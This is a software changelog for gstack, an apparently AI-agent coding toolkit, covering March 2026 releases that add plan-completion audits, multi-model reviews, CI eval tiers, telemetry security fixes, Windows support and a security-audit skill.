Plan completion audit. /ship reads your plan file, extracts every actionable item, cross-references against the diff, and shows you a DONE/NOT DONE/PARTIAL/CHANGED checklist. Missing items are a shipping blocker (with override).

Plan-aware scope drift detection. /review's scope drift check now reads the plan file too. not just TODOS.md and PR description.

Auto-verification via /qa-only. /ship reads your plan's verification section and runs /qa-only inline to test it. if a dev server is running on localhost. No server, no problem. it skips gracefully.

Shared plan file discovery. Conversation context first, content-based grep fallback second. Used by plan completion, plan review reports, and verification.

Ship metrics logging. Coverage %, plan completion ratio, and verification results are logged to review JSONL for /retro to track trends.

Plan completion in /retro. Weekly retros now show plan completion rates across shipped branches.

[0.11.17.0] - 2026-03-24. Cleaner Skill Descriptions + Proactive Opt-Out

Changed

Skill descriptions are now clean and readable. Removed the ugly "MANUAL TRIGGER ONLY" prefix from every skill description that was wasting 58 characters and causing build errors for Codex integration.

You can now opt out of proactive skill suggestions. The first time you run any gstack skill, you'll be asked whether you want gstack to suggest skills during your workflow. If you prefer to invoke skills manually, just say no. it's saved as a global setting. You can change your mind anytime with gstack-config set proactive true/false.

Fixed

Telemetry source tagging no longer crashes. Fixed duration guards and source field validation in the telemetry logger so it handles edge cases cleanly instead of erroring.

[0.11.16.1] - 2026-03-24. Installation ID Privacy Fix

Fixed

Installation IDs are now random UUIDs instead of hostname hashes. The old SHA-256(hostname+username) approach meant anyone who knew your machine identity could compute your installation ID. Now uses a random UUID stored in ~/.gstack/installation-id. not derivable from any public input, rotatable by deleting the file.

RLS verification script handles edge cases. verify-rls.sh now correctly treats INSERT success as expected (kept for old client compat), handles 409 conflicts and 204 no-ops.

[0.11.16.0] - 2026-03-24. Smarter CI + Telemetry Security

Changed

CI runs only gate tests by default. periodic tests run weekly. Every E2E test is now classified as gate (blocks PRs) or periodic (weekly cron + on-demand). Gate tests cover functional correctness and safety guardrails. Periodic tests cover expensive Opus quality benchmarks, non-deterministic routing tests, and tests requiring external services (Codex, Gemini). CI feedback is faster and cheaper while quality benchmarks still run weekly.

Global touchfiles are now granular. Previously, changing gen-skill-docs.ts triggered all 56 E2E tests. Now only the ~27 tests that actually depend on it run. Same for llm-judge.ts, test-server.ts, worktree.ts, and the Codex/Gemini session runners. The truly global list is down to 3 files (session-runner, eval-store, touchfiles.ts itself).

New test:gate and test:periodic scripts replace test:e2e:fast. Use EVALS_TIER=gate or EVALS_TIER=periodic to filter tests by tier.

Telemetry sync uses GSTACK_SUPABASE_URL instead of GSTACK_TELEMETRY_ENDPOINT. Edge functions need the base URL, not the REST API path. The old variable is removed from config.sh.

Cursor advancement is now safe. The sync script checks the edge function's inserted count before advancing. if zero events were inserted, the cursor holds and retries next run.

Fixed

Telemetry RLS policies tightened. Row-level security policies on all telemetry tables now deny direct access via the anon key. All reads and writes go through validated edge functions with schema checks, event type allowlists, and field length limits.

Community dashboard is faster and server-cached. Dashboard stats are now served from a single edge function with 1-hour server-side caching, replacing multiple direct queries.

For contributors

E2E_TIERS map in test/helpers/touchfiles.ts classifies every test. a free validation test ensures it stays in sync with E2E_TOUCHFILES

EVALS_FAST / FAST_EXCLUDED_TESTS removed in favor of EVALS_TIER

allow_failure removed from CI matrix (gate tests should be reliable)

New .github/workflows/evals-periodic.yml runs periodic tests Monday 6 AM UTC

New migration: supabase/migrations/002_tighten_rls.sql

New smoke test: supabase/verify-rls.sh (9 checks: 5 reads + 4 writes)

Extended test/telemetry.test.ts with field name verification

Untracked browse/dist/ binaries from git (arm64-only, rebuilt by ./setup)

[0.11.15.0] - 2026-03-24. E2E Test Coverage for Plan Reviews & Codex

Added

E2E tests verify plan review reports appear at the bottom of plans. The /plan-eng-review review report is now tested end-to-end. if it stops writing ## GSTACK REVIEW REPORT to the plan file, the test catches it.

E2E tests verify Codex is offered in every plan skill. Four new lightweight tests confirm that /office-hours, /plan-ceo-review, /plan-design-review, and /plan-eng-review all check for Codex availability, prompt the user, and handle the fallback when Codex is unavailable.

For contributors

New E2E tests in test/skill-e2e-plan.test.ts: plan-review-report, codex-offered-eng-review, codex-offered-ceo-review, codex-offered-office-hours, codex-offered-design-review

Updated touchfile mappings and selection count assertions

Added touchfiles to the documented global touchfile list in CLAUDE.md

[0.11.14.0] - 2026-03-24. Windows Browse Fix

Fixed

Browse engine now works on Windows. Three compounding bugs blocked all Windows /browse users: the server process died when the CLI exited (Bun's unref() doesn't truly detach on Windows), the health check never ran because process.kill(pid, 0) is broken in Bun binaries on Windows, and Chromium's sandbox failed when spawned through the Bun→Node process chain. All three are now fixed. Credits to @fqueiro (PR #191) for identifying the detached: true approach.

Health check runs first on all platforms. ensureServer() now tries an HTTP health check before falling back to PID-based detection. more reliable on every OS, not just Windows.

Startup errors are logged to disk. When the server fails to start, errors are written to ~/.gstack/browse-startup-error.log so Windows users (who lose stderr due to process detachment) can debug.

Chromium sandbox disabled on Windows. Chromium's sandbox requires elevated privileges when spawned through the Bun→Node chain. now disabled on Windows only.

For contributors

New tests for isServerHealthy() and startup error logging in browse/test/config.test.ts

[0.11.13.0] - 2026-03-24. Worktree Isolation + Infrastructure Elegance

Added

E2E tests now run in git worktrees. Gemini and Codex tests no longer pollute your working tree. Each test suite gets an isolated worktree, and useful changes the AI agent makes are automatically harvested as patches you can cherry-pick. Run git apply ~/.gstack-dev/harvests/<id>/gemini.patch to grab improvements.

Harvest deduplication. If a test keeps producing the same improvement across runs, it's detected via SHA-256 hash and skipped. no duplicate patches piling up.

describeWithWorktree() helper. Any E2E test can now opt into worktree isolation with a one-line wrapper. Future tests that need real repo context (git history, real diff) can use this instead of tmpdirs.

Changed

Gen-skill-docs is now a modular resolver pipeline. The monolithic 1700-line generator is split into 8 focused resolver modules (browse, preamble, design, review, testing, utility, constants, codex-helpers). Adding a new placeholder resolver is now a single file instead of editing a megafunction.

Eval results are project-scoped. Results now live in ~/.gstack/projects/$SLUG/evals/ instead of the global ~/.gstack-dev/evals/. Multi-project users no longer get eval results mixed together.

For contributors

WorktreeManager (lib/worktree.ts) is a reusable platform module. future skills like /batch can import it directly.

12 new unit tests for WorktreeManager covering lifecycle, harvest, dedup, and error handling.

GLOBAL_TOUCHFILES updated so worktree infrastructure changes trigger all E2E tests.

[0.11.12.0] - 2026-03-24. Triple-Voice Autoplan

Every /autoplan phase now gets two independent second opinions. one from Codex (OpenAI's frontier model) and one from a fresh Claude subagent. Three AI reviewers looking at your plan from different angles, each phase building on the last.

Added

Dual voices in every autoplan phase. CEO review, Design review, and Eng review each run both a Codex challenge and an independent Claude subagent simultaneously. You get a consensus table showing where the models agree and disagree. disagreements surface as taste decisions at the final gate.

Phase-cascading context. Codex gets prior-phase findings as context (CEO concerns inform Design review, CEO+Design inform Eng). Claude subagent stays truly independent for genuine cross-model validation.

Structured consensus tables. CEO phase scores 6 strategic dimensions, Design uses the litmus scorecard, Eng scores 6 architecture dimensions. CONFIRMED/DISAGREE for each.

Cross-phase synthesis. Phase 4 gate highlights themes that appeared independently in multiple phases. high-confidence signals when different reviewers catch the same issue.

Sequential enforcement. STOP markers between phases + pre-phase checklists prevent autoplan from accidentally parallelizing CEO/Design/Eng (each phase depends on the previous).

Phase-transition summaries. Brief status at each phase boundary so you can track progress without waiting for the full pipeline.

Degradation matrix. When Codex or the Claude subagent fails, autoplan gracefully degrades with clear labels ([codex-only], [subagent-only], [single-reviewer mode]).

[0.11.11.0] - 2026-03-23. Community Wave 3

10 community PRs merged. bug fixes, platform support, and workflow improvements.

Added

Chrome multi-profile cookie import. You can now import cookies from any Chrome profile, not just Default. Profile picker shows account email for easy identification. Batch import across all visible domains.

Linux Chromium cookie import. Cookie import now works on Linux for Chrome, Chromium, Brave, and Edge. Supports both GNOME Keyring (libsecret) and the "peanuts" fallback for headless environments.

Chrome extensions in browse sessions. Set BROWSE_EXTENSIONS_DIR to load Chrome extensions (ad blockers, accessibility tools, custom headers) into your browse testing sessions.

Project-scoped gstack install. setup --local installs gstack into .claude/skills/ in your current project instead of globally. Useful for per-project version pinning.

Distribution pipeline checks. /office-hours, /plan-eng-review, /ship, and /review now check whether new CLI tools or libraries have a build/publish pipeline. No more shipping artifacts nobody can download.

Dynamic skill discovery. Adding a new skill directory no longer requires editing a hardcoded list. skill-check and gen-skill-docs automatically discover skills from the filesystem.

Auto-trigger guard. Skills now include explicit trigger criteria in their descriptions to prevent Claude Code from auto-firing them based on semantic similarity. The existing proactive suggestion system is preserved.

Fixed

Browse server startup crash. The browse server lock acquisition failed when .gstack/ directory didn't exist, causing every invocation to think another process held the lock. Fixed by creating the state directory before lock acquisition.

Zsh glob errors in skill preamble. The telemetry cleanup loop no longer throws no matches found in zsh when no pending files exist.

--force now actually forces upgrades. gstack-upgrade --force clears the snooze file, so you can upgrade immediately after snoozing.

Three-dot diff in /review scope drift detection. Scope drift analysis now correctly shows changes since branch creation, not accumulated changes on the base branch.

CI workflow YAML parsing. Fixed unquoted multiline run: scalars that broke YAML parsing. Added actionlint CI workflow.

Community

Thanks to @osc, @Explorer1092, @Qike-Li, @francoisaubert1, @itstimwhite, @yinanli1917-cloud for contributions in this wave.

[0.11.10.0] - 2026-03-23. CI Evals on Ubicloud

Added

E2E evals now run in CI on every PR. 12 parallel GitHub Actions runners on Ubicloud spin up per PR, each running one test suite. Docker image pre-bakes bun, node, Claude CLI, and deps so setup is near-instant. Results posted as a PR comment with pass/fail + cost breakdown.

3x faster eval runs. All E2E tests run concurrently within files via testConcurrentIfSelected. Wall clock drops from ~18min to ~6min. limited by the slowest individual test, not sequential sum.

Docker CI image (Dockerfile.ci) with pre-installed toolchain. Rebuilds automatically when Dockerfile or package.json changes, cached by content hash in GHCR.

Fixed

Routing tests now work in CI. Skills are installed at top-level .claude/skills/ instead of nested under .claude/skills/gstack/. project-level skill discovery doesn't recurse into subdirectories.

For contributors

EVALS_CONCURRENCY=40 in CI for maximum parallelism (local default stays at 15)

Ubicloud runners at ~$0.006/run (10x cheaper than GitHub standard runners)

workflow_dispatch trigger for manual re-runs

[0.11.9.0] - 2026-03-23. Codex Skill Loading Fix

Fixed

Codex no longer rejects gstack skills with "invalid SKILL.md". Existing installs had oversized description fields (>1024 chars) that Codex silently rejected. The build now errors if any Codex description exceeds 1024 chars, setup always regenerates .agents/ to prevent stale files, and a one-time migration auto-cleans oversized descriptions on existing installs.

package.json version now stays in sync with VERSION. Was 6 minor versions behind. A new CI test catches future drift.

Added

Codex E2E tests now assert no skill loading errors. The exact "Skipped loading skill(s)" error that prompted this fix is now a regression test. stderr is captured and checked.

Codex troubleshooting entry in README. Manual fix instructions for users who hit the loading error before the auto-migration runs.

For contributors

test/gen-skill-docs.test.ts validates all .agents/ descriptions stay within 1024 chars

gstack-update-check includes a one-time migration that deletes oversized Codex SKILL.md files

P1 TODO added: Codex→Claude reverse buddy check skill

[0.11.8.0] - 2026-03-23. zsh Compatibility Fix

Fixed

gstack skills now work in zsh without errors. Every skill preamble used a .pending-* glob pattern that triggered zsh's "no matches found" error on every invocation (the common case where no pending telemetry files exist). Replaced shell glob with find to avoid zsh's NOMATCH behavior entirely. Thanks to @hnshah for the initial report and fix in PR #332. Fixes #313.

Added

Regression test for zsh glob safety. New test verifies all generated SKILL.md files use find instead of bare shell globs for .pending-* pattern matching.

[0.11.7.0] - 2026-03-23. /review → /ship Handoff Fix

Fixed

/review now satisfies the ship readiness gate. Previously, running /review before /ship always showed "NOT CLEARED" because /review didn't log its result and /ship only looked for /plan-eng-review. Now /review persists its outcome to the review log, and all dashboards recognize both /review (diff-scoped) and /plan-eng-review (plan-stage) as valid Eng Review sources.

Ship abort prompt now mentions both review options. When Eng Review is missing, /ship suggests "run /review or /plan-eng-review" instead of only mentioning /plan-eng-review.

For contributors

Based on PR #338 by @malikrohail. DRY improvement per eng review: updated the shared REVIEW_DASHBOARD resolver instead of creating a duplicate ship-only resolver.

4 new validation tests covering review-log persistence, dashboard propagation, and abort text.

[0.11.6.0] - 2026-03-23. Infrastructure-First Security Audit

Added

/cso v2. start where the breaches actually happen. The security audit now begins with your infrastructure attack surface (leaked secrets in git history, dependency CVEs, CI/CD pipeline misconfigurations, unverified webhooks, Dockerfile security) before touching application code. 15 phases covering secrets archaeology, supply chain, CI/CD, LLM/AI security, skill supply chain, OWASP Top 10, STRIDE, and active verification.

Two audit modes. --daily runs a zero-noise scan with an 8/10 confidence gate (only reports findings it's highly confident about). --comprehensive does a deep monthly scan with a 2/10 bar (surfaces everything worth investigating).

Active verification. Every finding gets independently verified by a subagent before reporting. no more grep-and-guess. Variant analysis: when one vulnerability is confirmed, the entire codebase is searched for the same pattern.

Trend tracking. Findings are fingerprinted and tracked across audit runs. You can see what's new, what's fixed, and what's been ignored.

Diff-scoped auditing. --diff mode scopes the audit to changes on your branch vs the base branch. perfect for pre-merge security checks.

3 E2E tests with planted vulnerabilities (hardcoded API keys, tracked .env files, unsigned webhooks, unpinned GitHub Actions, rootless Dockerfiles). All verified passing.

Changed

Stack detection before scanning. v1 ran Ruby/Java/PHP/C# patterns on every project without checking the stack. v2 detects your framework first and prioritizes relevant checks.

Proper tool usage. v1 used raw grep in Bash; v2 uses Claude Code's native Grep tool for reliable results without truncation.

[0.11.5.2] - 2026-03-22. Outside Voice

Added

Plan reviews now offer an independent second opinion. After all review sections complete in /plan-ceo-review or /plan-eng-review, you can get a "brutally honest outside voice" from a different AI model (Codex CLI, or a fresh Claude subagent if Codex isn't installed). It reads your plan, finds what the review missed. logical gaps, unstated assumptions, feasibility risks. and presents findings verbatim. Optional, recommended, never blocks shipping.

Cross-model tension detection. When the outside voice disagrees with the review findings, the disagreements are surfaced automatically and offered as TODOs so nothing gets lost.

Outside Voice in the Review Readiness Dashboard. /ship now shows whether an outside voice ran on the plan, alongside the existing CEO/Eng/Design/Adversarial review rows.

Changed

/plan-eng-review Codex integration upgraded. The old hardcoded Step 0.5 is replaced with a richer resolver that adds Claude subagent fallback, review log persistence, dashboard visibility, and higher reasoning effort (xhigh).

[0.11.5.1] - 2026-03-23. Inline Office Hours

Changed

No more "open another window" for /office-hours. When /plan-ceo-review or /plan-eng-review offer to run /office-hours first, it now runs inline in the same conversation. The review picks up right where it left off after the design doc is ready. Same for mid-session detection when you're still figuring out what to build.

Handoff note infrastructure removed. The handoff notes that bridged the old "go to another window" flow are no longer written. Existing notes from prior sessions are still read for backward compatibility.

[0.11.5.0] - 2026-03-23. Bash Compatibility Fix

Fixed

gstack-review-read and gstack-review-log no longer crash under bash. These scripts used source <(gstack-slug) which silently fails to set variables under bash with set -euo pipefail, causing SLUG: unbound variable errors. Replaced with eval "$(gstack-slug)" which works correctly in both bash and zsh.

All SKILL.md templates updated. Every template that instructed agents to run source <(gstack-slug) now uses eval "$(gstack-slug)" for cross-shell compatibility. Regenerated all SKILL.md files from templates.

Regression tests added. New tests verify eval "$(gstack-slug)" works under bash strict mode, and guard against source <(.*gstack-slug patterns reappearing in templates or bin scripts.

[0.11.4.0] - 2026-03-22. Codex in Office Hours

Added

Your brainstorming now gets a second opinion. After premise challenge in /office-hours, you can opt in to a Codex cold read. a completely independent AI that hasn't seen the conversation reviews your problem, answers, and premises. It steelmans your idea, identifies the most revealing thing you said, challenges one premise, and proposes a 48-hour prototype. Two different AI models seeing different things catches blind spots neither would find alone.

Cross-Model Perspective in design docs. When you use the second opinion, the design doc automatically includes a ## Cross-Model Perspective section capturing what Codex said. so the independent view is preserved for downstream reviews.

New founder signal: defended premise with reasoning. When Codex challenges one of your premises and you keep it with articulated reasoning (not just dismissal), that's tracked as a positive signal of conviction.

[0.11.3.0] - 2026-03-23. Design Outside Voices

Added

Every design review now gets a second opinion. /plan-design-review, /design-review, and /design-consultation dispatch both Codex (OpenAI) and a fresh Claude subagent in parallel to independently evaluate your design. then synthesize findings with a litmus scorecard showing where they agree and disagree. Cross-model agreement = high confidence; disagreement = investigate.

OpenAI's design hard rules baked in. 7 hard rejection criteria, 7 litmus checks, and a landing-page vs app-UI classifier from OpenAI's "Designing Delightful Frontends" framework. merged with gstack's existing 10-item AI slop blacklist. Your design gets evaluated against the same rules OpenAI recommends for their own models.

Codex design voice in every PR. The lightweight design review that runs in /ship and /review now includes a Codex design check when frontend files change. automatic, no opt-in needed.

Outside voices in /office-hours brainstorming. After wireframe sketches, you can now get Codex + Claude subagent design perspectives on your approaches before committing to a direction.

AI slop blacklist extracted as shared constant. The 10 anti-patterns (purple gradients, 3-column icon grids, centered everything, etc.) are now defined once and shared across all design skills. Easier to maintain, impossible to drift.

[0.11.2.0] - 2026-03-22. Codex Just Works

Fixed

Codex no longer shows "exceeds maximum length of 1024 characters" on startup. Skill descriptions compressed from ~1,200 words to ~280 words. well under the limit. Every skill now has a test enforcing the cap.

No more duplicate skill discovery. Codex used to find both source SKILL.md files and generated Codex skills, showing every skill twice. Setup now creates a minimal runtime root at ~/.codex/skills/gstack with only the assets Codex needs. no source files exposed.

Old direct installs auto-migrate. If you previously cloned gstack into ~/.codex/skills/gstack, setup detects this and moves it to ~/.gstack/repos/gstack so skills aren't discovered from the source checkout.

Sidecar directory no longer linked as a skill. The .agents/skills/gstack runtime asset directory was incorrectly symlinked alongside real skills. now skipped.

Added

Repo-local Codex installs. Clone gstack into .agents/skills/gstack inside any repo and run ./setup --host codex. skills install next to the checkout, no global ~/.codex/ needed. Generated preambles auto-detect whether to use repo-local or global paths at runtime.

Kiro CLI support. ./setup --host kiro installs skills for the Kiro agent platform, rewriting paths and symlinking runtime assets. Auto-detected by --host auto if kiro-cli is installed.

.agents/ is now gitignored. Generated Codex skill files are no longer committed. they're created at setup time from templates. Removes 14,000+ lines of generated output from the repo.

Changed

GSTACK_DIR renamed to SOURCE_GSTACK_DIR / INSTALL_GSTACK_DIR throughout the setup script for clarity about which path points to the source repo vs the install location.

CI validates Codex generation succeeds instead of checking committed file freshness (since .agents/ is no longer committed).

[0.11.1.1] - 2026-03-22. Plan Files Always Show Review Status

Added

Every plan file now shows review status. When you exit plan mode, the plan file automatically gets a GSTACK REVIEW REPORT section. even if you haven't run any formal reviews yet. Previously, this section only appeared after running /plan-eng-review, /plan-ceo-review, /plan-design-review, or /codex review. Now you always know where you stand: which reviews have run, which haven't, and what to do next.

[0.11.1.0] - 2026-03-22. Global Retro: Cross-Project AI Coding Retrospective

Added

/retro global. see everything you shipped across every project in one report. Scans your Claude Code, Codex CLI, and Gemini CLI sessions, traces each back to its git repo, deduplicates by remote, then runs a full retro across all of them. Global shipping streak, context-switching metrics, per-project breakdowns with personal contributions, and cross-tool usage patterns. Run /retro global 14d for a two-week view.

Per-project personal contributions in global retro. Each project in the global retro now shows YOUR commits, LOC, key work, commit type mix, and biggest ship. separate from team totals. Solo projects say "Solo project. all commits are yours." Team projects you didn't touch show session count only.

gstack-global-discover. the engine behind global retro. Standalone discovery script that finds all AI coding sessions on your machine, resolves working directories to git repos, normalizes SSH/HTTPS remotes for dedup, and outputs structured JSON. Compiled binary ships with gstack. no bun runtime needed.

Fixed

Discovery script reads only the first few KB of session files instead of loading entire multi-MB JSONL transcripts into memory. Prevents OOM on machines with extensive coding history.

Claude Code session counts are now accurate. Previously counted all JSONL files in a project directory; now only counts files modified within the time window.

Week windows (1w, 2w) are now midnight-aligned like day windows, so /retro global 1w and /retro global 7d produce consistent results.

[0.11.0.0] - 2026-03-22. /cso: Zero-Noise Security Audits

Added

/cso. your Chief Security Officer. Full codebase security audit: OWASP Top 10, STRIDE threat modeling, attack surface mapping, data classification, and dependency scanning. Each finding includes severity, confidence score, a concrete exploit scenario, and remediation options. Not a linter. a threat model.

Zero-noise false positive filtering. 17 hard exclusions and 9 precedents adapted from Anthropic's security review methodology. DOS isn't a finding. Test files aren't attack surface. React is XSS-safe by default. Every finding must score 8/10+ confidence to make the report. The result: 3 real findings, not 3 real + 12 theoretical.

Independent finding verification. Each candidate finding is verified by a fresh sub-agent that only sees the finding and the false positive rules. no anchoring bias from the initial scan. Findings that fail independent verification are silently dropped.

browse storage now redacts secrets automatically. Tokens, JWTs, API keys, GitHub PATs, and Bearer tokens are detected by both key name and value prefix. You see [REDACTED. 42 chars] instead of the secret.

Azure metadata endpoint blocked. SSRF protection for browse goto now covers all three major cloud providers (AWS, GCP, Azure).

Fixed

gstack-slug hardened against shell injection. Output sanitized to alphanumeric, dot, dash, and underscore only. All remaining eval $(gstack-slug) callers migrated to source <(...).

DNS rebinding protection. browse goto now resolves hostnames to IPs and checks against the metadata blocklist. prevents attacks where a domain initially resolves to a safe IP, then switches to a cloud metadata endpoint.

Concurrent server start race fixed. An exclusive lockfile prevents two CLI invocations from both killing the old server and starting new ones simultaneously, which could leave orphaned Chromium processes.

Smarter storage redaction. Key matching now uses underscore-aware boundaries (won't false-positive on keyboardShortcuts or monkeyPatch). Value detection expanded to cover AWS, Stripe, Anthropic, Google, Sendgrid, and Supabase key prefixes.

CI workflow YAML lint error fixed.

For contributors

Community PR triage process documented in CONTRIBUTING.md.

Storage redaction test coverage. Four new tests for key-based and value-based detection.

[0.10.2.0] - 2026-03-22. Autoplan Depth Fix

Fixed

/autoplan now produces full-depth reviews instead of compressing everything to one-liners. When autoplan said "auto-decide," it meant "decide FOR the user using principles". but the agent interpreted it as "skip the analysis entirely." Now autoplan explicitly defines the contract: auto-decide replaces your judgment, not the analysis. Every review section still gets read, diagrammed, and evaluated. You get the same depth as running each review manually.

Execution checklists for CEO and Eng phases. Each phase now enumerates exactly what must be produced. premise challenges, architecture diagrams, test coverage maps, failure registries, artifacts on disk. No more "follow that file at full depth" without saying what "full depth" means.

Pre-gate verification catches skipped outputs. Before presenting the final approval gate, autoplan now checks a concrete checklist of required outputs. Missing items get produced before the gate opens (max 2 retries, then warns).

Test review can never be skipped. The Eng review's test diagram section. the highest-value output. is explicitly marked NEVER SKIP OR COMPRESS with instructions to read actual diffs, map every codepath to coverage, and write the test plan artifact.

[0.10.1.0] - 2026-03-22. Test Coverage Catalog

Added

Test coverage audit now works everywhere. plan, ship, and review. The codepath tracing methodology (ASCII diagrams, quality scoring, gap detection) is shared across /plan-eng-review, /ship, and /review via a single {{TEST_COVERAGE_AUDIT}} resolver. Plan mode adds missing tests to your plan before you write code. Ship mode auto-generates tests for gaps. Review mode finds untested paths during pre-landing review. One methodology, three contexts, zero copy-paste.

/review Step 4.75. test coverage diagram. Before landing code, /review now traces every changed codepath and produces an ASCII coverage map showing what's tested (★★★/★★/★) and what's not (GAP). Gaps become INFORMATIONAL findings that follow the Fix-First flow. you can generate the missing tests right there.

E2E test recommendations built in. The coverage audit knows when to recommend E2E tests (common user flows, tricky integrations where unit tests can't cover it) vs unit tests, and flags LLM prompt changes that need eval coverage. No more guessing whether something needs an integration test.

Regression detection iron rule. When a code change modifies existing behavior, gstack always writes a regression test. no asking, no skipping. If you changed it, you test it.

/ship failure triage. When tests fail during ship, the coverage audit classifies each failure and recommends next steps instead of just dumping the error output.

Test framework auto-detection. Reads your CLAUDE.md for test commands first, then auto-detects from project files (package.json, Gemfile, pyproject.toml, etc.). Works with any framework.

Fixed

gstack no longer crashes in repos without an origin remote. The gstack-repo-mode helper now gracefully handles missing remotes, bare repos, and empty git output. defaulting to unknown mode instead of crashing the preamble.

REPO_MODE defaults correctly when the helper emits nothing. Previously an empty response from gstack-repo-mode left REPO_MODE unset, causing downstream template errors.

[0.10.0.0] - 2026-03-22. Autoplan

Added

/autoplan. one command, fully reviewed plan. Hand it a rough plan and it runs the full CEO → design → eng review pipeline automatically. Reads the actual review skill files from disk (same depth, same rigor as running each review manually) and makes intermediate decisions using 6 encoded principles: completeness, boil lakes, pragmatic, DRY, explicit over clever, bias toward action. Taste decisions (close approaches, borderline scope, codex disagreements) surface at a final approval gate. You approve, override, interrogate, or revise. Saves a restore point so you can re-run from scratch. Writes review logs compatible with /ship's dashboard.

[0.9.8.0] - 2026-03-21. Deploy Pipeline + E2E Performance

Added

/land-and-deploy. merge, deploy, and verify in one command. Takes over where /ship left off. Merges the PR, waits for CI and deploy workflows, then runs canary verification on your production URL. Auto-detects your deploy platform (Fly.io, Render, Vercel, Netlify, Heroku, GitHub Actions). Offers revert at every failure point. One command from "PR approved" to "verified in production."

/canary. post-deploy monitoring loop. Watches your live app for console errors, performance regressions, and page failures using the browse daemon. Takes periodic screenshots, compares against pre-deploy baselines, and alerts on anomalies. Run /canary https://myapp.com --duration 10m after any deploy.

/benchmark. performance regression detection. Establishes baselines for page load times, Core Web Vitals, and resource sizes. Compares before/after on every PR. Tracks performance trends over time. Catches the bundle size regressions that code review misses.

/setup-deploy. one-time deploy configuration. Detects your deploy platform, production URL, health check endpoints, and deploy status commands. Writes the config to CLAUDE.md so all future /land-and-deploy runs are fully automatic.

/review now includes Performance & Bundle Impact analysis. The informational review pass checks for heavy dependencies, missing lazy loading, synchronous script tags, and bundle size regressions. Catches moment.js-instead-of-date-fns before it ships.

Changed

E2E tests now run 3-5x faster. Structure tests default to Sonnet (5x faster, 5x cheaper). Quality tests (planted-bug detection, design quality, strategic review) stay on Opus. Full suite dropped from 50-80 minutes to ~15-25 minutes.

--retry 2 on all E2E tests. Flaky tests get a second chance without masking real failures.

test:e2e:fast tier. Excludes the 8 slowest Opus quality tests for quick feedback (~5-7 minutes). Run bun run test:e2e:fast for rapid iteration.

E2E timing telemetry. Every test now records first_response_ms, max_inter_turn_ms, and model used. Wall-clock timing shows whether parallelism is actually working.

Fixed

plan-design-review-plan-mode no longer races. Each test gets its own isolated tmpdir. no more concurrent tests polluting each other's working directory.

ship-local-workflow no longer wastes 6 of 15 turns. Ship workflow steps are inlined in the test prompt instead of having the agent read the 700+ line SKILL.md at runtime.

design-consultation-core no longer fails on synonym sections. "Colors" matches "Color", "Type System" matches "Typography". fuzzy synonym-based matching with all 7 sections still required.

[0.9.7.0] - 2026-03-21. Plan File Review Report

Added

Every plan file now shows which reviews have run. After any review skill finishes (/plan-ceo-review, /plan-eng-review, /plan-design-review, /codex review), a markdown table is appended to the plan file itself. showing each review's trigger command, purpose, run count, status, and findings summary. Anyone reading the plan can see review status at a glance without checking conversation history.

Review logs now capture richer data. CEO reviews log scope proposal counts (proposed/accepted/deferred), eng reviews log total issues found, design reviews log before→after scores, and codex reviews log how many findings were fixed. The plan file report uses these fields directly. no more guessing from partial metadata.

[0.9.6.0] - 2026-03-21. Auto-Scaled Adversarial Review

Changed

Review thoroughness now scales automatically with diff size. Small diffs (<50 lines) skip adversarial review entirely. no wasted time on typo fixes. Medium diffs (50–199 lines) get a cross-model adversarial challenge from Codex (or a Claude adversarial subagent if Codex isn't installed). Large diffs (200+ lines) get all four passes: Claude structured, Codex structured review with pass/fail gate, Claude adversarial subagent, and Codex adversarial challenge. No configuration needed. it just works.

Claude now has an adversarial mode. A fresh Claude subagent with no checklist bias reviews your code like an attacker. finding edge cases, race conditions, security holes, and silent data corruption that the structured review might miss. Findings are classified as FIXABLE (auto-fixed) or INVESTIGATE (your call).

Review dashboard shows "Adversarial" instead of "Codex Review." The dashboard row reflects the new multi-model reality. it tracks whichever adversarial passes actually ran, not just Codex.

[0.9.5.0] - 2026-03-21. Builder Ethos

Added

ETHOS.md. gstack's builder philosophy in one document. Four principles: The Golden Age (AI compression ratios), Boil the Lake (completeness is cheap), Search Before Building (three layers of knowledge), and Build for Yourself. This is the philosophical source of truth that every workflow skill references.

Every workflow skill now searches before recommending. Before suggesting infrastructure patterns, concurrency approaches, or framework-specific solutions, gstack checks if the runtime has a built-in and whether the pattern is current best practice. Three layers of knowledge. tried-and-true (Layer 1), new-and-popular (Layer 2), and first-principles (Layer 3). with the most valuable insights prized above all.

Eureka moments. When first-principles reasoning reveals that conventional wisdom is wrong, gstack names it, celebrates it, and logs it. Your weekly /retro now surfaces these insights so you can see where your projects zigged while others zagged.

/office-hours adds Landscape Awareness phase. After understanding your problem through questioning but before challenging premises, gstack searches for what the world thinks. then runs a three-layer synthesis to find where conventional wisdom might be wrong for your specific case.

/plan-eng-review adds search check. Step 0 now verifies architectural patterns against current best practices and flags custom solutions where built-ins exist.

/investigate searches on hypothesis failure. When your first debugging hypothesis is wrong, gstack searches for the exact error message and known framework issues before guessing again.

/design-consultation three-layer synthesis. Competitive research now uses the structured Layer 1/2/3 framework to find where your product should deliberately break from category norms.

CEO review saves context when handing off to /office-hours. When /plan-ceo-review suggests running /office-hours first, it now saves a handoff note with your system audit findings and any discussion so far. When you come back and re-invoke /plan-ceo-review, it picks up that context automatically. no more starting from scratch.

[0.9.4.1] - 2026-03-20

Changed

/retro no longer nags about PR size. The retro still reports PR size distribution (Small/Medium/Large/XL) as neutral data, but no longer flags XL PRs as problems or recommends splitting them. AI reviews don't fatigue. the unit of work is the feature, not the diff.

[0.9.4.0] - 2026-03-20. Codex Reviews On By Default

Changed

Codex code reviews now run automatically in /ship and /review. No more "want a second opinion?" prompt every time. Codex reviews both your code (with a pass/fail gate) and runs an adversarial challenge by default. First-time users get a one-time opt-in prompt; after that, it's hands-free. Configure with gstack-config set codex_reviews enabled|disabled.

All Codex operations use maximum reasoning power. Review, adversarial, and consult modes all use xhigh reasoning effort. when an AI is reviewing your code, you want it thinking as hard as possible.

Codex review errors can't corrupt the dashboard. Auth failures, timeouts, and empty responses are now detected before logging results, so the Review Readiness Dashboard never shows a false "passed" entry. Adversarial stderr is captured separately.

Codex review log includes commit hash. Staleness detection now works correctly for Codex reviews, matching the same commit-tracking behavior as eng/CEO/design reviews.

Fixed

Codex-for-Codex recursion prevented. When gstack runs inside Codex CLI (.agents/skills/), the Codex review step is completely stripped. no accidental infinite loops.

[0.9.3.0] - 2026-03-20. Windows Support

Fixed

gstack now works on Windows 11. Setup no longer hangs when verifying Playwright, and the browse server automatically falls back to Node.js to work around a Bun pipe-handling bug on Windows (bun#4253). Just make sure Node.js is installed alongside Bun. macOS and Linux are completely unaffected.

